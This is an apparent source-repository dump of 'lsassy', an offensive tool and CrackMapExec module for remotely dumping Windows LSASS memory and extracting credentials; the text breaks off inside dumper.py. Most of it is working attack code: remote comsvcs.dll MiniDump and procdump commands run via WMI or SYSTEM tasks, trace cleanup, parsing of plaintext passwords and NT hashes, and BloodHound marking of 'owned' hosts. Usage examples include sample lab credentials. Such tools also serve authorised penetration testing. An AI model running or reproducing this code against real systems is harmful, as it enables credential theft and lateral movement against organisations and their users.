├── .github └── ISSUE_TEMPLATE │ └── bug_report.md ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── assets └── example.png ├── cme ├── README.md ├── lsassy.py └── requirements.txt ├── lsassy ├── __init__.py ├── __main__.py ├── dumper.py ├── impacketconnection.py ├── impacketfile.py ├── log.py ├── parser.py ├── taskexe.py └── wmi.py ├── requirements.txt └── setup.py /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help me improve lsassy :) 4 | title: '' 5 | labels: '' 6 | assignees: Hackndo 7 | 8 | --- 9 | 10 | 17 | 18 | **Describe the bug** 19 | A clear and concise description of what the bug is. 20 | 21 | **Expected behavior** 22 | A clear and concise description of what you expected to happen. 23 | 24 | **Screenshots** 25 | If applicable, add screenshots to help explain your problem. 26 | * For standalone lsassy, please use the -d debug flag 27 | * For CME module, please use CrackMapExec --verbose flag 28 | 29 | **Additional context** 30 | Add any other context about the problem here. 31 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # Distribution / packaging 7 | .Python 8 | build/ 9 | develop-eggs/ 10 | dist/ 11 | downloads/ 12 | eggs/ 13 | .eggs/ 14 | lib/ 15 | lib64/ 16 | parts/ 17 | sdist/ 18 | var/ 19 | wheels/ 20 | pip-wheel-metadata/ 21 | share/python-wheels/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | MANIFEST 26 | 27 | # IDE 28 | .idea -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Tamas Jos 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | clean: 2 | rm -f -r build/ 3 | rm -f -r dist/ 4 | rm -f -r *.egg-info 5 | find . -name '*.pyc' -exec rm -f {} + 6 | find . -name '*.pyo' -exec rm -f {} + 7 | find . -name '*~' -exec rm -f {} + 8 | 9 | publish: clean 10 | python3.7 setup.py sdist bdist_wheel 11 | python3.7 -m twine upload dist/* 12 | 13 | testpublish: clean 14 | python3.7 setup.py sdist bdist_wheel 15 | python3.7 -m twine upload --repository-url https://test.pypi.org/legacy/ dist/* 16 | 17 | rebuild: clean 18 | python3.7 setup.py install 19 | 20 | build: clean 21 | python3.7 setup.py install 22 | 23 | install: build 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # lsassy 2 | 3 | [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=1.0.0&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) 4 | 5 | ![CME Module example](/assets/example.png) 6 | 7 | Python library to remotely extract credentials. 8 | 9 | Blog post : https://en.hackndo.com/remote-lsass-dump-passwords/ 10 | 11 | This library uses [impacket](https://github.com/SecureAuthCorp/impacket) projects to remotely read necessary bytes in lsass dump and [pypykatz](https://github.com/skelsec/pypykatz) to extract credentials. 12 | 13 | | Chapters | Description | 14 | |----------------------------------------------|---------------------------------------------------------| 15 | | [Requirements](#requirements) | Requirements to install lsassy from source | 16 | | [Basic Usage](#basic-usage) | Command line template for standalone version | 17 | | [Advanced Usage](#advanced) | Advanced usage (Dumping methods, execution methods, ...)| 18 | | [CrackMapExec Module](#crackmapexec-module) | Link to CrackMapExec module included in this repository | 19 | | [Examples](#examples) | Command line examples for standalone and CME module | 20 | | [Installation](#installation) | Installation commands from pip or from source | 21 | | [Issues](#issues) | Read this before creating an issue | 22 | | [Acknowledgments](#acknowledgments) | Kudos to these people and tools | 23 | 24 | ## Requirements 25 | 26 | * Python >= 3.6 27 | * [pypykatz](https://github.com/skelsec/pypykatz) >= 0.3.0 28 | * [impacket](https://github.com/SecureAuthCorp/impacket) 29 | 30 | ## Basic Usage 31 | 32 | ``` 33 | lsassy [--hashes [LM:]NT] [/][:]@ 34 | ``` 35 | 36 | ## Advanced 37 | 38 | This tool can dump lsass in different ways. 39 | 40 | ### comsvcs.dll method (Default) 41 | 42 | This method **only uses built-in Windows files** to extract remote credentials. It uses **minidump** 43 | function from **comsvcs.dll** to dump **lsass** process. As this can only be done as **SYSTEM**, it creates a remote 44 | task as **SYSTEM**, runs it and then deletes it. 45 | 46 | ``` 47 | lsassy [--hashes [LM:]NT] [/][:]@ 48 | ``` 49 | 50 | ### Procdump method 51 | 52 | This method uploads **procdump.exe** from SysInternals to dump **lsass** process. It will first try to execute 53 | procdump using WMI, and if it fails it will create a remote task, execute it and delete it. 54 | 55 | ``` 56 | lsassy [--hashes [LM:]NT] -p /path/to/procdump.exe [/][:]@ 57 | ``` 58 | 59 | ### Remote parsing only 60 | 61 | lsassy can parse an already dumped lsass process. 62 | 63 | ``` 64 | lsassy [--hashes [LM:]NT] --dumppath /share/path/to/dump.dmp [/][:]@ 65 | ``` 66 | 67 | ## CrackMapExec module 68 | 69 | I wrote a CrackMapExec module that uses **lsassy** to extract credentials on compromised hosts 70 | 71 | CrackMapExec module is in `cme` folder : [CME Module](/cme/) 72 | 73 | ## Examples 74 | 75 | ### lsassy 76 | 77 | ```bash 78 | # RunDLL Method 79 | lsassy adsec.local/jsnow:Winter_is_coming@dc01.adsec.local 80 | 81 | # Procdump Method 82 | lsassy -p /tmp/procdump.exe adsec.local/jsnow:Winter_is_coming@dc01.adsec.local 83 | 84 | # Remote parsing only 85 | lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/jsnow:Winter_is_coming@dc01.adsec.local 86 | 87 | # NT Hash Authentication 88 | lsassy --hashes 952c28bd2fd728898411b301475009b7 Administrator@desktop01.adsec.local 89 | ``` 90 | 91 | ### CME Module 92 | 93 | ``` 94 | crackmapexec smb 10.0.0.0/24 -d adsec.local -u Administrator -p Passw0rd -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound 95 | ``` 96 | 97 | ## Installation 98 | 99 | ### From pip 100 | 101 | ``` 102 | python3.7 -m pip install lsassy 103 | ``` 104 | 105 | ### From sources 106 | 107 | ``` 108 | python3.7 setup.py install 109 | ``` 110 | 111 | ### ChangeLog 112 | 113 | ``` 114 | v1.0.0 115 | ------ 116 | * Built-in lsass dump 117 | ** Lsass dump using built-in Windows 118 | ** Lsass dump using procdump (using -p parameter) 119 | * Add --dumppath to ask for remote parsing only 120 | * Code refactoring 121 | * Add --quiet to quiet output 122 | 123 | v0.2.0 124 | ------ 125 | * Add BloodHound option to CME module (-o BLOODHOUND=True) 126 | - Set compromised targets as "owned" in BloodHound 127 | - Check if compromised users have at least one path to domain admin 128 | * Custom parsing (json, grep, pretty [default]) 129 | * New --hashes option to lsassy 130 | * Include CME module in repository 131 | * Add credentials to CME database 132 | 133 | 134 | v0.1.0 135 | ------ 136 | First release 137 | ``` 138 | 139 | ## Issues 140 | 141 | If you find an issue with this tool (that's very plausible !), please 142 | 143 | * Check that you're using the latest version 144 | * Send as much details as possible. 145 | - For standalone **lsassy**, please use the `-d` debug flag 146 | - For CME module, please use CrackMapExec `--verbose` flag 147 | 148 | ## Acknowledgments 149 | 150 | * [Impacket](https://github.com/SecureAuthCorp/impacket) 151 | * [SkelSec](http://twitter.com/skelsec) for Pypykatz, but also for his patience and help 152 | * [mpgn](https://twitter.com/mpgn_x64) for his help and ideas 153 | -------------------------------------------------------------------------------- /assets/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/lsassy/40ee4e08adf98025fad7518f9c939a93d285866a/assets/example.png -------------------------------------------------------------------------------- /cme/README.md: -------------------------------------------------------------------------------- 1 | # lsassy CrackMapExec Module 2 | 3 | ![CrackMapExec >= 4.0.1](https://img.shields.io/badge/CrackMapExec-%3E=4.0.1-red) 4 | 5 | This CME module uses **lsassy** to remotely extract lsass password, and optionally interacts with Bloodhound to **set compromised hosts as owned** and check if compromised users have a **path to domain admin**. 6 | 7 | ![CME Module example](/assets/example.png) 8 | 9 | ## Requirements 10 | 11 | * Python2.7 12 | - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) 13 | * Python3.6+ 14 | - [lsassy](https://github.com/Hackndo/lsassy/) 15 | 16 | 17 | ## Installation 18 | 19 | * Clone git repo 20 | 21 | From SSH: (Need Github account with ssh key) 22 | ```bash 23 | git clone git@github.com:Hackndo/lsassy.git 24 | ``` 25 | From Https: (Without Github account) 26 | ```bash 27 | git clone https://github.com/Hackndo/lsassy.git 28 | ``` 29 | 30 | * Copy `lsassy.py` in `[CrackMapExec Path]/cme/modules` 31 | * Patch CrackMapExec file `cme > modules > smb > wmiexec.py` in `execute_handler` function: Replace `self.execute_fileless(data)` with `self.execute_remote(data)`. We need procdump output to be totally retrieved. This won't break anything in CME. 32 | * Reinstall CrackMapExec using python2.7 `python setup.py install` 33 | 34 | ```bash 35 | cd lsassy/cme 36 | cp lsassy.py /opt/CrackMapExec/cme/modules/ 37 | cd /opt/CrackMapExec 38 | python setup.py install 39 | ``` 40 | 41 | ## Usage 42 | 43 | ### Basic 44 | 45 | ```bash 46 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy 47 | ``` 48 | 49 | ### Advanced 50 | 51 | By default, this module uses rundll32.exe with comsvcs.dll DLL to dump lsass process on the remote host. 52 | 53 | If you want to use procdump.exe instead, you just have to tell where it is installed on your system so the module can upload it to the remote server 54 | 55 | ```bash 56 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o PROCDUMP_PATH=/opt/Sysinternals/procdump.exe 57 | ``` 58 | 59 | ### BloodHound 60 | 61 | You can set BloodHound integration using `-o BLOODHOUND=True` flag. This flag enables different checks : 62 | * Set "owned" on BloodHound computer nodes that are compromised 63 | * Detect compromised users that have a **path to domain admin** 64 | 65 | ```bash 66 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o BLOODHOUND=True 67 | ``` 68 | 69 | You can check available options using 70 | 71 | ``` 72 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy --options 73 | [*] lsassy module options: 74 | 75 | TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) 76 | SHARE Share to upload procdump and dump lsass (default: C$) 77 | PROCDUMP_PATH Path to procdump on attacker host. If this is not set, "rundll32" method is used 78 | REMOTE_LSASS_DUMP Name of the remote lsass dump (default: tmp.dmp) 79 | BLOODHOUND Enable Bloodhound integration (default: false) 80 | NEO4JURI URI for Neo4j database (default: 127.0.0.1) 81 | NEO4JPORT Listeninfg port for Neo4j database (default: 7687) 82 | NEO4JUSER Username for Neo4j database (default: 'neo4j') 83 | NEO4JPASS Password for Neo4j database (default: 'neo4j') 84 | WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') 85 | 86 | ``` 87 | 88 | ## Issue 89 | 90 | If you find an issue with this tool (that's very plausible !), please 91 | 92 | * Check that you're using the latest version 93 | * Send as much details as possible. 94 | - For standalone **lsassy**, please use the `-d` debug flag 95 | - For CME module, please use CrackMapExec `--verbose` flag 96 | 97 | Have fun 98 | -------------------------------------------------------------------------------- /cme/lsassy.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | import os 7 | import sys 8 | import re 9 | import time 10 | import subprocess 11 | import json 12 | 13 | 14 | class CMEModule: 15 | name = 'lsassy' 16 | description = "Dump lsass via procdump and parse the result remotely with lsassy" 17 | supported_protocols = ['smb'] 18 | opsec_safe = True 19 | multiple_hosts = True 20 | 21 | def options(self, context, module_options): 22 | ''' 23 | TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) 24 | SHARE Share to upload procdump and dump lsass (default: C$) 25 | PROCDUMP_PATH Path to procdump on attacker host. If this is not set, "rundll32" method is used 26 | REMOTE_LSASS_DUMP Name of the remote lsass dump (default: tmp.dmp) 27 | BLOODHOUND Enable Bloodhound integration (default: false) 28 | NEO4JURI URI for Neo4j database (default: 127.0.0.1) 29 | NEO4JPORT Listeninfg port for Neo4j database (default: 7687) 30 | NEO4JUSER Username for Neo4j database (default: 'neo4j') 31 | NEO4JPASS Password for Neo4j database (default: 'neo4j') 32 | WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') 33 | ''' 34 | 35 | self.tmp_dir = "\\Windows\\Temp\\" 36 | self.share = "C$" 37 | self.procdump_path = False 38 | self.remote_lsass_dump = "tmp.dmp" 39 | 40 | if 'TMP_DIR' in module_options: 41 | self.tmp_dir = module_options['TMP_DIR'] 42 | 43 | if 'SHARE' in module_options: 44 | self.share = module_options['SHARE'] 45 | 46 | if 'PROCDUMP_PATH' in module_options: 47 | self.procdump_path = module_options['PROCDUMP_PATH'] 48 | 49 | if 'REMOTE_LSASS_DUMP' in module_options: 50 | self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP'] 51 | 52 | self.bloodhound = False 53 | self.neo4j_URI = "127.0.0.1" 54 | self.neo4j_Port = "7687" 55 | self.neo4j_user = "neo4j" 56 | self.neo4j_pass = "neo4j" 57 | self.without_edges = "" 58 | 59 | if module_options and 'BLOODHOUND' in module_options: 60 | self.bloodhound = module_options['BLOODHOUND'] 61 | if module_options and 'NEO4JURI' in module_options: 62 | self.neo4j_URI = module_options['NEO4JURI'] 63 | if module_options and 'NEO4JPORT' in module_options: 64 | self.neo4j_Port = module_options['NEO4JPORT'] 65 | if module_options and 'NEO4JUSER' in module_options: 66 | self.neo4j_user = module_options['NEO4JUSER'] 67 | if module_options and 'NEO4JPASS' in module_options: 68 | self.neo4j_pass = module_options['NEO4JPASS'] 69 | if module_options and 'WITHOUT_EDGES' in module_options: 70 | self.without_edges = module_options['WITHOUT_EDGES'] 71 | 72 | def on_admin_login(self, context, connection): 73 | if self.bloodhound: 74 | self.set_as_owned(context, connection) 75 | 76 | if self.procdump_path: 77 | self.procdump_dump(context, connection) 78 | else: 79 | self.dll_dump(context, connection) 80 | 81 | context.log.success("Process lsass.exe was successfully dumped") 82 | 83 | """ 84 | Since lsassy is py3.6+ and CME is still py2, lsassy cannot be 85 | imported. For this reason, connection information must be sent to lsassy 86 | so it can create a new connection. 87 | 88 | When CME is py3.6 compatible, CME connection object will be reused. 89 | """ 90 | domain_name = connection.domain 91 | username = connection.username 92 | password = getattr(connection, "password", "") 93 | lmhash = getattr(connection, "lmhash", "") 94 | nthash = getattr(connection, "nthash", "") 95 | host = connection.host 96 | 97 | py_arg = "{}/{}:{}@{}".format( 98 | domain_name, username, password, host 99 | ) 100 | 101 | command = r"lsassy -j -q --hashes {}:{} --dumppath '{}{}' '{}'".format( 102 | lmhash, 103 | nthash, 104 | self.share, 105 | os.path.join(self.tmp_dir, self.remote_lsass_dump).replace("\\", "/"), 106 | py_arg 107 | ) 108 | 109 | # Parsing lsass dump remotely 110 | context.log.info('Parsing dump file with lsassy') 111 | context.log.debug('Lsassy command : {}'.format(command)) 112 | code, out, err = self.run(command) 113 | 114 | if code != 0: 115 | # Debug output 116 | context.log.error('Error while executing lsassy, try using CrackMapExec with --verbose to get more details') 117 | context.log.debug('Detailed error : {}'.format(err)) 118 | else: 119 | context.log.debug('----- lsassy output -----') 120 | context.log.debug('{}'.format(out)) 121 | context.log.debug('----- end output -----') 122 | self.process_credentials(context, connection, out) 123 | 124 | self.clean(context, connection) 125 | 126 | def procdump_dump(self, context, connection): 127 | # Verify procdump exists on host 128 | if not os.path.exists(self.procdump_path): 129 | context.log.error("{} does not exist.".format(self.procdump_path)) 130 | exit() 131 | 132 | # Upload procdump 133 | context.log.debug('Copy {} to {}'.format(self.procdump_path, self.tmp_dir)) 134 | with open(self.procdump_path, 'rb') as procdump: 135 | try: 136 | connection.conn.putFile(self.share, self.tmp_dir + "procdump.exe", procdump.read) 137 | context.log.debug('Uploaded procdump.exe on the \\\\{}{}'.format(self.share, self.tmp_dir)) 138 | except Exception as e: 139 | context.log.error('Error writing file to share {}: {}'.format(self.share, e)) 140 | self.clean(context, connection) 141 | exit() 142 | 143 | # Dump lsass remotely 144 | # Dump using lsass PID 145 | command = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}procdump.exe -accepteula -o -ma ^%B {}{}""".format( 146 | self.tmp_dir, self.tmp_dir, self.remote_lsass_dump) 147 | context.log.debug('Dumping lsass.exe') 148 | p = connection.execute(command, True) 149 | context.log.debug(p) 150 | 151 | if 'Dump 1 complete' in p: 152 | # Procdump ended 153 | context.log.debug('Procdump output fully retrieved') 154 | elif 'Dump 1 ini' in p: 155 | # Procdump output not fully retrieved 156 | context.log.debug('Procdump output partially retrieved') 157 | # Since we cannot know when the dump finishes, we wait for 5s 158 | time.sleep(2) 159 | elif 'The version of this file is not compatible' in p or 'Cette version de' in p: 160 | context.log.error( 161 | 'Provided procdump executable and target architecture are incompatible (32 bits / 64 bits)' 162 | ) 163 | self.clean(context, connection) 164 | exit() 165 | else: 166 | context.log.debug( 167 | 'Unknown error while dumping lsass, try CME with --verbose to see details. Trying anyway.') 168 | 169 | def dll_dump(self, context, connection): 170 | """ 171 | Thanks to TiM0 for this trick. Admin Powershell has debug privilege, so we don't need SYSTEM to use the rundll32 technique 172 | """ 173 | command = 'powershell.exe -NoP -C "C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id {}{} full;Wait-Process -Id (Get-Process rundll32).id"'.format( 174 | self.tmp_dir, self.remote_lsass_dump) 175 | connection.execute(command, True) 176 | # We have to wait for the dump to be finished. We do not have any information on when 177 | #time.sleep(2) 178 | 179 | def clean(self, context, connection): 180 | # Delete lsass dump 181 | try: 182 | connection.conn.deleteFile(self.share, self.tmp_dir + self.remote_lsass_dump) 183 | context.log.success('Deleted lsass dump') 184 | except Exception as e: 185 | context.log.error('Error deleting lsass dump : {}'.format(e)) 186 | 187 | if self.procdump_path: 188 | # Delete procdump.exe 189 | try: 190 | connection.conn.deleteFile(self.share, self.tmp_dir + "procdump.exe") 191 | context.log.success('Deleted procdump.exe') 192 | except Exception as e: 193 | context.log.error('Error deleting procdump.exe : {}'.format(e)) 194 | 195 | @staticmethod 196 | def run(cmd): 197 | proc = subprocess.Popen([ 198 | '/bin/sh', '-c', cmd], 199 | stdout=subprocess.PIPE, 200 | stderr=subprocess.PIPE, 201 | ) 202 | stdout, stderr = proc.communicate() 203 | 204 | return proc.returncode, stdout, stderr 205 | 206 | def process_credentials(self, context, connection, credentials): 207 | credentials = json.loads(credentials) 208 | for domain, users in credentials.items(): 209 | for username, creds in users.items(): 210 | for cred in creds: 211 | password = cred['password'] 212 | lmhash = cred['lmhash'] 213 | nthash = cred['nthash'] 214 | self.save_credentials(context, connection, domain, username, password, lmhash, nthash) 215 | self.print_credentials(context, connection, domain, username, password, lmhash, nthash) 216 | 217 | @staticmethod 218 | def save_credentials(context, connection, domain, username, password, lmhash, nthash): 219 | host_id = context.db.get_computers(connection.host)[0][0] 220 | if password is not None: 221 | credential_type = 'plaintext' 222 | else: 223 | credential_type = 'hash' 224 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) 225 | context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) 226 | 227 | def print_credentials(self, context, connection, domain, username, password, lmhash, nthash): 228 | if password is None: 229 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) 230 | output = "%s\\%s %s" % (domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')) 231 | if self.bloodhound and self.bloodhound_analysis(context, connection, username): 232 | output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow 233 | context.log.highlight(output) 234 | 235 | def set_as_owned(self, context, connection): 236 | from neo4j.v1 import GraphDatabase 237 | from neo4j.exceptions import AuthError, ServiceUnavailable 238 | host_fqdn = (connection.hostname + "." + connection.domain).upper() 239 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) 240 | 241 | try: 242 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) 243 | except AuthError as e: 244 | context.log.error( 245 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) 246 | sys.exit() 247 | except ServiceUnavailable as e: 248 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) 249 | sys.exit() 250 | except Exception as e: 251 | context.log.error("Unexpected error : {}".format(e)) 252 | sys.exit() 253 | 254 | with driver.session() as session: 255 | with session.begin_transaction() as tx: 256 | result = tx.run( 257 | "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) 258 | if len(result.value()) > 0: 259 | context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) 260 | else: 261 | context.log.error( 262 | "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn)) 263 | driver.close() 264 | 265 | def bloodhound_analysis(self, context, connection, username): 266 | from neo4j.v1 import GraphDatabase 267 | from neo4j.exceptions import AuthError, ServiceUnavailable 268 | username = (username + "@" + connection.domain).upper().replace("\\", "\\\\") 269 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) 270 | 271 | try: 272 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) 273 | except AuthError as e: 274 | context.log.error( 275 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) 276 | return False 277 | except ServiceUnavailable as e: 278 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) 279 | return False 280 | except Exception as e: 281 | context.log.error("Unexpected error : {}".format(e)) 282 | return False 283 | 284 | edges = [ 285 | "MemberOf", 286 | "HasSession", 287 | "AdminTo", 288 | "AllExtendedRights", 289 | "AddMember", 290 | "ForceChangePassword", 291 | "GenericAll", 292 | "GenericWrite", 293 | "Owns", 294 | "WriteDacl", 295 | "WriteOwner", 296 | "CanRDP", 297 | "ExecuteDCOM", 298 | "AllowedToDelegate", 299 | "ReadLAPSPassword", 300 | "Contains", 301 | "GpLink", 302 | "AddAllowedToAct", 303 | "AllowedToAct", 304 | "SQLAdmin" 305 | ] 306 | # Remove blacklisted edges 307 | without_edges = [e.lower() for e in self.without_edges.split(",")] 308 | effective_edges = [edge for edge in edges if edge.lower() not in without_edges] 309 | 310 | with driver.session() as session: 311 | with session.begin_transaction() as tx: 312 | query = """ 313 | MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) 314 | WHERE m.objectsid ENDS WITH "-512" 315 | RETURN COUNT(p) AS pathNb 316 | """.format(username, '|'.join(effective_edges)) 317 | 318 | context.log.debug("Query : {}".format(query)) 319 | result = tx.run(query) 320 | driver.close() 321 | return result.value()[0] > 0 322 | -------------------------------------------------------------------------------- /cme/requirements.txt: -------------------------------------------------------------------------------- 1 | lsassy 2 | -------------------------------------------------------------------------------- /lsassy/__init__.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | name = "lsassy" -------------------------------------------------------------------------------- /lsassy/__main__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Romain Bentz (pixis - @hackanddo) 5 | # Website: 6 | # https://beta.hackndo.com 7 | 8 | import pkg_resources 9 | import sys 10 | from pypykatz.pypykatz import pypykatz 11 | from lsassy.impacketconnection import ImpacketConnection 12 | from lsassy.impacketfile import ImpacketFile 13 | from lsassy.parser import Parser 14 | from lsassy.dumper import Dumper 15 | from lsassy.log import Logger 16 | 17 | version = pkg_resources.require("lsassy")[0].version 18 | 19 | 20 | def run(): 21 | import argparse 22 | 23 | examples = '''examples: 24 | 25 | ** RunDLL Dump Method ** 26 | lsassy adsec.local/pixis:p4ssw0rd@dc01.adsec.local 27 | 28 | ** Procdump Dump Method ** 29 | lsassy -P /tmp/procdump.exe adsec.local/pixis:p4ssw0rd@dc01.adsec.local 30 | 31 | ** Remote parsing only ** 32 | lsassy -p C$/Windows/Temp/lsass.dmp adsec.local/pixis:p4ssw0rd@dc01.adsec.local 33 | 34 | ** Output functions ** 35 | lsassy -j -q -p C$/Windows/Temp/lsass.dmp localuser@desktop01.adsec.local 36 | lsassy --hashes 952c28bd2fd728898411b301475009b7 pixis@dc01.adsec.local 37 | 38 | lsassy -d adsec.local/pixis:p4ssw0rd@dc01.adsec.local''' 39 | 40 | parser = argparse.ArgumentParser( 41 | prog="lsassy", 42 | description='lsassy v{} - Remote lsass dump reader'.format(version), 43 | epilog=examples, 44 | formatter_class=argparse.RawDescriptionHelpFormatter 45 | ) 46 | group_auth = parser.add_argument_group('procdump (default DLL)') 47 | group_auth.add_argument('-p', '--procdump', action='store', help='procdump path') 48 | group_auth = parser.add_argument_group('authentication') 49 | group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') 50 | group_out = parser.add_argument_group('output') 51 | group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format') 52 | group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') 53 | group_extract = parser.add_argument_group('remote parsing only') 54 | group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') 55 | parser.add_argument('-r', '--raw', action='store_true', help='Raw results without filtering') 56 | parser.add_argument('-d', '--debug', action='store_true', help='Debug output') 57 | parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') 58 | parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) 59 | parser.add_argument('target', action='store', help='[domain/]username[:password]@') 60 | 61 | 62 | if len(sys.argv) == 1: 63 | parser.print_help() 64 | sys.exit(0) 65 | 66 | args = parser.parse_args() 67 | 68 | logger = Logger(args.debug, args.quiet) 69 | 70 | conn = ImpacketConnection.from_args(args, logger) 71 | file_path = args.dumppath 72 | 73 | dumper = None 74 | if not args.dumppath: 75 | dumper = Dumper(conn, args, logger) 76 | if args.procdump: 77 | file_path = dumper.dump("procdump") 78 | else: 79 | file_path = dumper.dump("dll") 80 | if not file_path: 81 | exit() 82 | 83 | ifile = ImpacketFile(logger) 84 | ifile.open(conn, file_path) 85 | dumpfile = pypykatz.parse_minidump_external(ifile) 86 | ifile.close() 87 | parser = Parser(dumpfile, logger) 88 | parser.output(args) 89 | 90 | if dumper is not None: 91 | dumper.clean() 92 | conn.close() 93 | 94 | 95 | if __name__ == '__main__': 96 | run() 97 | -------------------------------------------------------------------------------- /lsassy/dumper.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | 4 | from lsassy.log import Logger 5 | from lsassy.wmi import WMI 6 | from lsassy.taskexe import TASK_EXEC 7 | 8 | 9 | class Dumper: 10 | def __init__(self, connection, args, log): 11 | self._log = log 12 | self._tmp_dir = "\\Windows\\Temp\\" 13 | self._share = "C$" 14 | self._procdump = "procdump.exe" 15 | self._procdump_path = args.procdump 16 | self._remote_lsass_dump = "tmp.dmp" 17 | self._conn = connection 18 | if args.procdump is not None: 19 | self._procdump_path = args.procdump 20 | 21 | self.exec_methods = {"wmi": WMI, "task": TASK_EXEC} 22 | self.dump_method = None 23 | 24 | def dump(self, dump_method, exec_methods=("wmi", "task")): 25 | self.dump_method = dump_method 26 | if dump_method == "dll": 27 | self.dlldump() 28 | elif dump_method == "procdump": 29 | self.procdump(exec_methods) 30 | else: 31 | self._log.error("Incorrect dump method. Currently supported : procdump, dll") 32 | exit(1) 33 | 34 | self._log.success("Process lsass.exe was successfully dumped") 35 | return (self._share + self._tmp_dir + self._remote_lsass_dump).replace("\\", "/") 36 | 37 | def dlldump(self): 38 | """ 39 | Dump lsass with rundll32 as SYSTEM 40 | WMIEXEC is not run as SYSTEM, so a task is created as SYSTEM, run and deleted 41 | """ 42 | try: 43 | self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump) 44 | self._log.debug("Old lsass dump was removed") 45 | except: 46 | pass 47 | self._log.info("Using DLL Method (default)") 48 | command = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {}{} full""".format( 49 | self._tmp_dir, self._remote_lsass_dump 50 | ) 51 | TASK_EXEC(self._conn, self._log).execute(command) 52 | 53 | def procdump(self, 